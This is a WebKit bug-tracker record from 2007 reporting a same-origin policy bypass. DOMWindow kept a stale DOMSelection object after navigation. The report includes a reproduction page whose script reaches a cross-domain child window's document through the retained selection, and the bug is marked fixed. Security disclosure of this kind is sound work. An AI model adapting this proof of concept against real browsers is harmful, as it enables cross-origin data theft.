<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>14610</bug_id>
          
          <creation_ts>2007-07-13 11:12:42 -0700</creation_ts>
          <short_desc>Security problem in DOMWindow</short_desc>
          <delta_ts>2007-07-17 22:44:01 -0700</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>WebCore JavaScript</component>
          <version>523.x (Safari 3)</version>
          <rep_platform>All</rep_platform>
          <op_sys>All</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords>EasyFix, HasReduction, InRadar</keywords>
          <priority>P1</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>1</everconfirmed>
          <reporter name="Feng Qian">ian.eng.webkit</reporter>
          <assigned_to name="Nobody">webkit-unassigned</assigned_to>
          <cc>ddkilzer</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>4879</commentid>
    <comment_count>0</comment_count>
    <who name="Feng Qian">ian.eng.webkit</who>
    <bug_when>2007-07-13 11:12:42 -0700</bug_when>
    <thetext>The problem was introduced by recent code refactoring in kjs_window
and DOMWindow. When navigating to a new page, DOMWindow does nott
clear up its DOMSelection object.

To show the problem, save following text into a file, say &apos;selection.html&apos;:

&lt;html&gt;&lt;script&gt;
var child;
var sel;

function openwin() {
 child = open(&quot;hello.html&quot;);
}
function getsel() {
 sel = child.getSelection();
}
function reloadwin() {
 child.location=&quot;world.html&quot;;
}
function check() {
 var selected = sel.anchorNode;
 var new_doc = selected.ownerDocument;
 alert(new_doc.baseURI);
}

&lt;/script&gt;
&lt;body&gt;
&lt;button onclick=&quot;openwin()&quot;&gt;open&lt;/button&gt;
&lt;button onclick=&quot;getsel()&quot;&gt;get selection&lt;/button&gt;
&lt;button onclick=&quot;reloadwin()&quot;&gt;reload&lt;/button&gt;
&lt;button onclick=&quot;check()&quot;&gt;check&lt;/button&gt;
&lt;/body&gt;&lt;/html&gt;

Also create two files called hello.html, and world.html.
&lt;html&gt;&lt;body&gt;hello&lt;/body&gt;&lt;/html&gt;
&lt;html&gt;&lt;body&gt;world&lt;/body&gt;&lt;/html&gt;


Put selection.html and hello.html in the same domain, and put
world.html in a different domain (you need to change URLs of
hello.html and world.html in selection.html).

Do following steps:
1. load &apos;selection.html&apos; in a new window;
2. click the &apos;open&apos; button, it opens a child window;
3. select &quot;hello&quot; text in the child window;
4. click the &apos;get selection&apos; in the parent window;
5. click the &apos;check&apos; button, an alert window pops up and displays the
URL of &apos;hello.html&apos;.

So far so good.

6. click the &apos;reload&apos; button in the parent window, it loads
&apos;world.html&apos; page in the child window.
   Note that now, the parent window and the child window are in
different domains.
7. select &apos;world&apos; in the child window;
8. click the &apos;check&apos; button in the first window. an alert window pops
up, and displays the URL of &apos;world.html&apos;.  At this point, the parent
window has full access to the Document object and DOM nodes under it
in the child window even they are from different domains.

I will make a patch later.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>4875</commentid>
    <comment_count>1</comment_count>
    <who name="Sam Weinig">sam</who>
    <bug_when>2007-07-13 11:27:15 -0700</bug_when>
    <thetext>&lt;rdar://problem/5333782&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>4455</commentid>
    <comment_count>2</comment_count>
    <who name="Sam Weinig">sam</who>
    <bug_when>2007-07-17 22:44:01 -0700</bug_when>
    <thetext>Fixed in r24398.</thetext>
  </long_desc>
      
      

    </bug>

</bugzilla>